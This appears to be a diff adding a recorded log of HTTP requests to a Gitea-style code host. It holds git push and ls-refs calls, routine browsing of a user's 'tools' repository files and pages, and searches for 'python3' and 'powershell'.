+{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
+{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
+{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
